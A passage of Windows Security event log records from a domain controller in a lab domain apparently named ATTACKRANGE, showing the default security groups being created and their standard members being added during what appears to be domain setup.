	Group Name:		Allowed RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248154
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Allowed RODC Password Replication Group
	Group Name:		Allowed RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Allowed RODC Password Replication Group
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=248153
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248152
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248151
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Windows Authorization Access Group
	Group Name:		Windows Authorization Access Group
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248150
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
	Account Name:		-

Group:
	Security ID:		BUILTIN\Windows Authorization Access Group
	Group Name:		Windows Authorization Access Group
	Group Domain:		Builtin

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248149
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Pre-Windows 2000 Compatible Access
	Group Name:		Pre-Windows 2000 Compatible Access
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248148
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		NT AUTHORITY\Authenticated Users
	Account Name:		-

Group:
	Security ID:		BUILTIN\Pre-Windows 2000 Compatible Access
	Group Name:		Pre-Windows 2000 Compatible Access
	Group Domain:		Builtin

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248147
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Group Policy Creator Owners
	Group Name:		Group Policy Creator Owners
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4728
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248146
Keywords=Audit Success
Message=A member was added to a security-enabled global group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		CN=Administrator,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Group Policy Creator Owners
	Group Name:		Group Policy Creator Owners
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248145
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Admins
	Group Name:		Enterprise Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4756
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248144
Keywords=Audit Success
Message=A member was added to a security-enabled universal group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		CN=Administrator,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Enterprise Admins
	Account Name:		Enterprise Admins
	Account Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248143
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Schema Admins
	Group Name:		Schema Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4756
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248142
Keywords=Audit Success
Message=A member was added to a security-enabled universal group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		CN=Administrator,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Schema Admins
	Account Name:		Schema Admins
	Account Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248141
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Admins
	Group Name:		Domain Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4728
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248140
Keywords=Audit Success
Message=A member was added to a security-enabled global group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		CN=Administrator,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Domain Admins
	Group Name:		Domain Admins
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248139
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Guests
	Group Name:		Guests
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248138
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Domain Guests
	Account Name:		-

Group:
	Security ID:		BUILTIN\Guests
	Group Name:		Guests
	Group Domain:		Builtin

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248137
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Users
	Group Name:		Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248136
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Domain Users
	Account Name:		-

Group:
	Security ID:		BUILTIN\Users
	Group Name:		Users
	Group Domain:		Builtin

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248135
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248134
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Domain Admins
	Account Name:		-

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248133
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Terminal Server License Servers
	Group Name:		Terminal Server License Servers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248132
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		BUILTIN\Terminal Server License Servers
	Group Name:		Terminal Server License Servers
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Terminal Server License Servers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248131
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Windows Authorization Access Group
	Group Name:		Windows Authorization Access Group
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248130
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		BUILTIN\Windows Authorization Access Group
	Group Name:		Windows Authorization Access Group
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Windows Authorization Access Group
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248129
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Incoming Forest Trust Builders
	Group Name:		Incoming Forest Trust Builders
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248128
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		BUILTIN\Incoming Forest Trust Builders
	Group Name:		Incoming Forest Trust Builders
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Incoming Forest Trust Builders
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248127
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Pre-Windows 2000 Compatible Access
	Group Name:		Pre-Windows 2000 Compatible Access
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248126
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		BUILTIN\Pre-Windows 2000 Compatible Access
	Group Name:		Pre-Windows 2000 Compatible Access
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Pre-Windows 2000 Compatible Access
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248125
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Account Operators
	Group Name:		Account Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248124
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		BUILTIN\Account Operators
	Group Name:		Account Operators
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Account Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248123
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Server Operators
	Group Name:		Server Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248122
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		BUILTIN\Server Operators
	Group Name:		Server Operators
	Group Domain:		Builtin

Attributes:
	SAM Account Name:	Server Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248121
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\RAS and IAS Servers
	Group Name:		RAS and IAS Servers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248120
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\RAS and IAS Servers
	Group Name:		RAS and IAS Servers
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	RAS and IAS Servers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248119
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Group Policy Creator Owners
	Group Name:		Group Policy Creator Owners
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248118
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Group Policy Creator Owners
	Group Name:		Group Policy Creator Owners
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Group Policy Creator Owners
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248117
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Guests
	Group Name:		Domain Guests
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248116
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Domain Guests
	Group Name:		Domain Guests
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Domain Guests
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248115
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Users
	Group Name:		Domain Users
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248114
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Domain Users
	Group Name:		Domain Users
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Domain Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248113
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Admins
	Group Name:		Domain Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248112
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Domain Admins
	Group Name:		Domain Admins
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Domain Admins
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
